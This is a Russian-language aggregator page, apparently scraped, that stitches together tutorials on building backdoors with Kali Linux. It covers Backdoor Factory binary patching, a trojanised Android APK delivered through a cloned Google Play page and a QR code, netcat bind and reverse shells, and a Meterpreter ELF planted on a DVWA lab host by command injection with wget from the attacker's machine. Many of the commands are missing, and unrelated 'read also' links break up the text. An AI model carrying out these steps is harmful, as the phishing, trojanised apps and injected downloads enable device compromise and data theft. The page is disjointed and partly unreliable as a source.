Создание backdoor kali linux

Инструменты Kali Linux

Список инструментов для тестирования на проникновение и их описание

Backdoor Factory (BDF)

Описание Backdoor Factory

Backdoor Factory (BDF) патчит шеллкодом исполнимые файлы PE, ELF, Mach-O.

Цель BDF – это пропатчить исполнимые бинарники желаемым шеллкодом и сохранить их нормальное выполнение как в до пропатченном состоянии.

Поддерживаются: Windows PE x32/x64 и Linux ELF x32/x64 (System V).

Некоторые исполнимые файлы имеют встроенные защиты, т.е. программа будет срабатывать не на всех бинарниках. Рекомендуется тестировать исполнимые файлы перед распространением файлов на клиентские машины или использовании в упражнении.

PE файлы

  • Может найти codecaves в EXE/DLL.
  • По умолчанию очищает указатель на таблицу PE сертификатов, следовательно, снимает подпись с исполнимого файла.
  • Может сделать инжект шеллкода внутрь code caves или в новую секцию.
  • Может найти, должен ли исполнимый файл PE запускаться с повышенными привилегиями.
  • При выборе code caves, вы можете использовать следующие команды:
  • -Jump (j), для прыжка code cave
  • -Single (s), для патчинга всего вашего шеллкода в одну code cave
  • -Append (a), для создания code cave
  • -Ignore (i или q), игнорировать этот бинарник
  • Может игнорировать DLLs
  • Импорт таблицы парчинга
  • AutoPatching (-m automtic)
  • Onionduke (-m onionduke)

ELF файлы

  • Добавление 1000 байт (в байтах) к TEXT SEGMENT (текстовому сегменту) и инжект в эту секцию кода шеллкода.

Mach-O файлы

  • Патчинг Pre-Text Section и удаление подписи

Источник

Статья Взлом Android — устройства. (Backdoor-apk + HTA server)

Всем привет! В этой теме я хочу показать еще один способ взлома Android – устройства, на мой взгляд, не сложный, но действенный. Использовать будем QR-код, HTA – сервер и естественно Kali Linux.

Для начала нам потребуется софт, для того, чтобы поместить полезную нагрузку в APK – файл. Мы будем использовать Backdoor-apk, скачаем его с Github командой:

Затем установим все необходимые библиотеки.

> apt-get install lib32stdc++6 lib32ncurses5 lib32z1


Теперь нам понадобится приложение, в которое мы будем «вшивать» полезную нагрузку, для этого перейдем на сайт apk4fun.com и выберем понравившееся. Сразу оговорюсь, что я перепробовал порядка ста приложений, но большинство из них не компилировалось, при попытке записать нагрузку в него. Еще какая-то часть работала с ошибками. Так же я сталкивался с проблемой, когда сессия отваливались по прошествии 30 – 50 сек после открытия. А именно, когда телефон уходил в ждущий режим и гас экран.

Был интересный момент c Viber, пару раз мне удавалось «вызвать» сессию тогда когда мне было нужно, просто написав сообщение жертве. Но потом эксперимент провалился, приложение перестало работать от слова совсем.

Итак, после нескольких часов тестов я остановился на игре 2048. Как это ни забавно, но именно она работала стабильнее всего, и сессия meterpreter работала корректно.

Качаем именно эту версию, так как другие я просто не пробовал:

Затем скопируем файл в папку с установленным Backdoor-apk.

Теперь, выполняя по очереди следующие команды, создадим файл с полезной нагрузкой:

> ./backdoor-apk.sh com.digiplex.game-2.7.2.apk (я сократил ему имя)

Выбираем параметры соответствующие нашим требованиям, я провожу эксперимент в пределах своей локальной сети.

Этот процесс сгенерирует готовый файл в директорию, в моем случае, /root/backdoor-apk/backdoor-apk/original/dist


На этом пока остановимся.

Пришло время запустить SET — Social Engineering Toolkit – набор инструментов для социальной инженерии. Вектор выбранной атаки – это клонирование сайта Google Play и скачивания игры 2048 именно с нашего, клонированного сайта. Дальнейшие действия не должны выходить за рамки приведенной ниже инструкции. Запускаем SET:

Выберем Website Attack Vectors.

Нас интересует HTA – Attack Method.

Следующий выбранный пункт – это ввод адреса сайта, который мы склонируем. Базироваться он будет нашей локальной сети, и единственная его цель, это доставить игру с полезной нагрузкой на смартфон цели. Так как по легенде это игра, то клонируем Google Market.

> https://play.google.com/store

Читайте также:  Найти файлы безопасность windows


Опции, которые будет запрашивать SET вы можете вводить такие же, как и при создании .apk файла. В моем случае 192.168.0.101 и порт 4444. Позже мы все изменим. Терминал с запущенным SET не закрываем.
Итак, Apache работает, ложный сайт склонирован. Если зайдем на адрес 192.168.0.101 с любого компьютера в нашей сети, то в случае успеха, попадем на фэйковый Google Play.

Теперь необходимо инициировать скачивание файла с нашей игрой сразу после перехода на сайт, для этого выполним следующие действия:

· Копируем файл с полезной нагрузкой в директорию /var/www/html (На Kali Linux машине)

· В файле index.html меняем указанную строку. Впишем туда название файла с игрой, но предварительно переименуем ее в Launcher.apk (Ctrl+F поиск по файлу)

Теперь, зайдя на страницу по адресу 192.168.0.101, мы не просто попадаем на ложный Google Play, но и скачиваем автоматически нашу игру 2048 переименованную в Launcher.apk.

Теперь мы оптимизируем процесс установки нашего приложения на целевое устройство.

Для начала установим расширение The QR Code Extension в наш браузер. Я использую Google Chrome.

На целевом устройстве должно присутствовать приложение для считывания QR – кодов, например, QR – Code Reader:

Перейдем на наш фейковый сайт Google Play и сгенерируем QR – код ссылку на него.

Просканировав QR – код с нашего целевого устройства мы скачиваем наш файл с полезной нагрузкой.

Для получения сессии meterpreter, заранее запустим на исполнение файл backdoor-apk.rc командой:

И затем, запустим игру.

В консоли получаем активную сессию meterpreter.

Источник

Как сделать прямой и обратный шелл (бэкдор) с Netcat

Shell — так называют доступ к оболочке удалённой системы. Относительно информационной безопасности, так называют доступ к оболочке, который обеспечивается бэкдором.

Эти шеллы разделают на два вида:

  • Shell
  • Reverse Shell (обратный шелл)

Они различаются особенностями подключения. Первый (прямой) — просто Shell — когда бэкдор прослушивает порт на удалённом компьютере в ожидании, когда на этот порт придёт подключение.

Второй (обратный) — Reverse Shell означает, что с удалённого компьютера делается запрос на машину атакующего, на которой, в свою очередь, уже запущена программа для управления бэкдором — которая также ожидает подключения от компьютера «жертвы».

Оба они имеют разные случаи использования. Прямой шелл используется если у компьютера жертвы белый IP адрес (без использования NAT). Обратный шелл используется, если удалённый компьютер находится за NAT (имеет только локальный IP адрес), либо если файервол блокирует входящие соединения — большинство файерволов настроены пропускать исходящие соединения.

В качестве бэкдоров и программ для создания шэллов могут использоваться разные инструменты, здесь я покажу как создать шелл используя легитимную программу Netcat или Ncat, которые по умолчанию установлены на многих компьютерах Linux и серверах.

На Linux

На сервере, к которому получен доступ, программа netcat может называться по-разному, частые варианты:

  • netcat
  • nc
  • ncat

Ищите их любую из этих программ.

В последующих командах я покажу на примере ncat, если вы найдёте на удалённом компьютере netcat или nc, то в последующих командах замените исполнимый файл на них.

В Ncat

Для создания шелла на удалённом компьютере:

Для подключения к нему с локального компьютера:

Перед созданием обратного шелла, предварительно на локальном компьютере нужно выполнить:

Затем для создания обратного шелла с удалённого компьютера там нужно выполнить:

В GNU netcat, Netcat и nc

Для создания шелла на удалённом компьютере:

Для подключения к нему с локального компьютера:

Перед созданием обратного шелла, предварительно на локальном компьютере нужно выполнить:

Затем для создания обратного шелла с удалённого компьютера там нужно выполнить:

В Windows

Для создания прямого шелла:

Для создания обратного шелла (подключения до машины атакующего):

Как и в случае с Linux, на машине атакующего уже должна быть запущена Ncat или другая программа для принятия входящего соединения.

Кстати, если вас заинтересовала утилита Netcat, то очень много про работу с этой программой в статье « Как пользоваться netcat (nc), ncat ».

Читайте также:  Windows forms вывод массива

Источник

Этичный хакинг с Михаилом Тарасовым (Timcore)

Блог об Этичном Хакинге

#49 Kali Linux для начинающих. Создаем бэкдор Metasploit.

В этой лекции Вы научитесь создавать бэкдор, с помощью которого Вы сможете получить шелл Meterpreter, который Вы будете использовать вместе с Metasploit. Вместо обычного шелла netcat-a, Вы получите более продвинутый шелл meterpreter-a. Должен сказать, что если Вы учили все, о чем мы говорили ранее, то Вы поймете все, что я Вам объясню и покажу. Но если по какой-либо причине тема покажется Вам слишком сложной, не беспокойтесь об этом, так как когда Вы будете переходить на более продвинутый материал, то там будет затронута данная тематика.

Я создам исполняемый файл, который позволит мне использовать шелл meterpreter-a, и для этого я воспользуюсь скриптом сервиса msfpc, который работает на базе msfvenom. Metasploit venom – это инструмент, с помощью которого можно создавать пэйлоады, но сейчас мы будем рассматривать msfpc, который гораздо проще в использовании, нежели msfvenom. Если мы введем команду «msfpc -h», то увидим огромное количество различных типов пэйлоадов:

Я могу создавать пэйлоады, которые будут влиять на машины на Windows, aspx файлы, или powershell, а также линукс .elf и т.д.

Скопируем шаблон для заполнения в самом верху вывода команды, и вставим в консоль для постепенного заполнения:

Удаляем последние два параметра и в третьем оставляем TCP. После этого мне нужно выбрать параметр STAGED или STAGELESS. Что это такое? STAGELESS пэйлоад более самостоятелен, так как сам запускается, исполняется, и внутри у него есть весь необходимый функционал. А вот STAGED-пэйлоад разделен на несколько частей. Сначала выполняется первая часть, а затем вторая. На самом деле я удалю этот параметр и Вам не стоит о нем сейчас беспокоиться.

Для нас беспокойным будет следующее; а именно, какой шелл мы будем использовать. BIND-SHELL или REVERSE-SHELL. Мы уже знаем разницу между ними, и для нас лучший вариант – это использование обратного шелла.

Затем у меня есть выбор, хочу ли я, чтобы это был пэйлоад Metasploit или команда, которую я хочу запустить. Я могу выбрать опцию CMD, чтобы затем выбрать команду, которую я хочу запустить. Или же я могу выбрать пэйлоад Metasploit, чтобы потом работать в шелле meterpreter-a. Благодаря последнему пэйлоаду, у меня будет больше возможностей, и я выбираю опцию MSF.

Далее мне нужно выбрать порт – это 4444.

После этого мне нужно выбрать айпи-адрес, и в данном случае это будет айпишник моей машины на Kali Linux, потому что это обратный шелл. Это 192.168.119.128.

И в конце, а вернее в начале, мне нужно выбрать тип пэйлоада, который я хочу сгенерировать. Другими словами, на какой системе я буду его запускать, и в каком приложении. Я хочу, чтобы это был пэйлоад для Линукса.

Запись будет иметь вид:

Жмем «Enter», и даем инструменту творить магию:

Обратите внимание на строку CMD и команду, которую я бы вводил, используя msfvenom, но это не пришлось делать, так как есть опция CMD, и за меня была проделана вся работа.

В итоге мы создали исполняемый файл с расширением «.elf». В дополнении ко всему у нас создается скрипт Metasploit:

Когда я его запущу, то будет запущен Metasploit со всеми параметрами. Теперь я могу запустить этот скрипт. Все, что мне нужно, так это скопировать эту строку с параметрами, и вставить в новое окно терминала:

Эта команда запускает Metasploit и в фоновом режиме запускает «handler-metasploit» — это часть metasploit – которая занимается входящим подключением от обратного шелла, почти также как и в случае с netcat с режимом прослушивания, когда мы использовали обратный шелл. Помните, что мы настроили netcat на нашей машине, чтобы он прослушивал все входящие подключения, и когда мы подготовили цель, нам был отправлен шелл, который мы смогли захватить с помощью netcat, потому что мы настроили его на ожидании входящих соединений. Именно этим мы тут и занимаемся, используя Metasploit. Мы используем handler, который и сейчас находится в фоновом режиме:

Читайте также:  Видеокодек для браузера опера линукс

Он ждет подключение от пэйлоада meterpreter.

Мне нужно загрузить этот исполняемый файл, а затем запустить его на системе, на Линуксе. Для этого я хотел бы познакомить Вас с уязвимостью веб-приложений, для разнообразия. Мы рассмотрим уязвимость выполнения команд (Command Execution). Уязвимость выполнения команд, как следует из имени, позволяет нам запускать и выполнять команды на машине цели, без необходимости загружать php-шелл. Мы можем сразу выполнять команды в системе. Такое можно проверить в приложениях, которые позволяют проверить пинг на сайте, и эти значения отображаются на самой странице. Если эти функции настроены неправильно, то Вы сможете комбинировать команды. Обычно ограничиваются типы запускаемых команд. Давайте предположим, что есть веб-сайт, который позволяет проверить пинг других веб-сайтов. Этот веб-сайт в реальности позволяет запрещать все, кроме команды ping, и не разрешать ничего другого, но если неправильно его настроить, то Вы можете запустить более одной команды, и это даст Вам доступ к функционалу операционной системы, на которой хостится этот веб-сайт. Давайте я покажу Вам, что я имею ввиду на сайте DVWA:

И если Вы погуглите, то можете встретить аналогичные сайты, с подобным функционалом. Если я введу, например локальный айпи-адрес, то на сайте отобразится время на выполнение команды:

Что произойдет, если я попытаюсь объединить его с другой командой. Введем наш локальный айпи-адрес и добавим команду pwd, перед которой будут стоять два амперсанда:

В выводе я получаю текущую директорию (выделено салатовым в самом низу). Но самое важное то, что я запустил не одну команду, а две, что очень хорошо для атакующего, т.е для нас.

Давайте проверим, запущен ли wget в этой системе. Для этого пишу команду: «127.0.0.1 && wget -h»:

И к счастью для меня «wget» был запущен. Все, что мне остается, так это использовать «wget», чтобы подключиться к Kali и скачать .elf файл.

Перед этим мне нужно настроить нашу машину на Kali качестве веб-сервера и поместить этот «.elf» файл в директорию, чтобы я мог его скачать через wget на машину цели. Я копирую данный файл в директорию /var/ www/html. Команда будет выглядеть как: «cp linux-meterpreter-staged-reverse-tcp-4444.elf /var/www/html/backdoor.elf»:

Далее я запускаю сервер Apache2, с помощью команды «service apache2 start»:

Теперь на моей машине на Kali запущен веб-сервер, и на нем есть файл «backdoor.elf». Возвращаемся к DVWA, и вводим айпи-адрес нашей машины на Kali, далее два амперсанда и команду wget, чтобы скачать файл с машины на Kali. Команда будет выглядеть как: «192.168.119.128 && wget http://192.168.119.128/backdoor.elf»:

Давайте проверим, прошла ли загрузка. Запускаем команду «ls»:

Отлично. Я смог загрузить файл с Кали Линукс на машину Metasploitable2. Итак, перед запуском файла нужно сделать его исполняемым. Это делается с помощью команды «chmod +x backdoor.elf», и если все прошло корректно, то мы увидим х напротив файла бэкдора:

Последний шаг. Запуск файла. Это делается с помощью команды: «192.168.119.140 && ./backdoor.elf»:

Переходим в терминал, и у нас есть открытая сессия:

Чтобы взаимодействовать с сессией, нужно ввести команду «sessions –i 1», где I значит – interact (взаимодействие):

Готово. Теперь у меня есть шелл meterpreter, который позволяет мне взаимодействовать с системой на Metasploitable2. Например, можно выполнить команду «sysinfo»:

Для того, чтобы перейти в стандартный терминал линукс, нужно ввести команду «shell»:

Вот, собственно и все. Таким образом можно запустить бэкдор, который даст нам доступ к шеллу meterpreter, и захватить шелл используя Metasploit Framework.

Конечно, для того, чтобы запустить бэкдор, мне понадобилось использовать уязвимость веб-приложения, скачать исполняемый файл на машину, и запустить его на этой машине. Это всего лишь один из возможных способов.

Источник

Оцените статью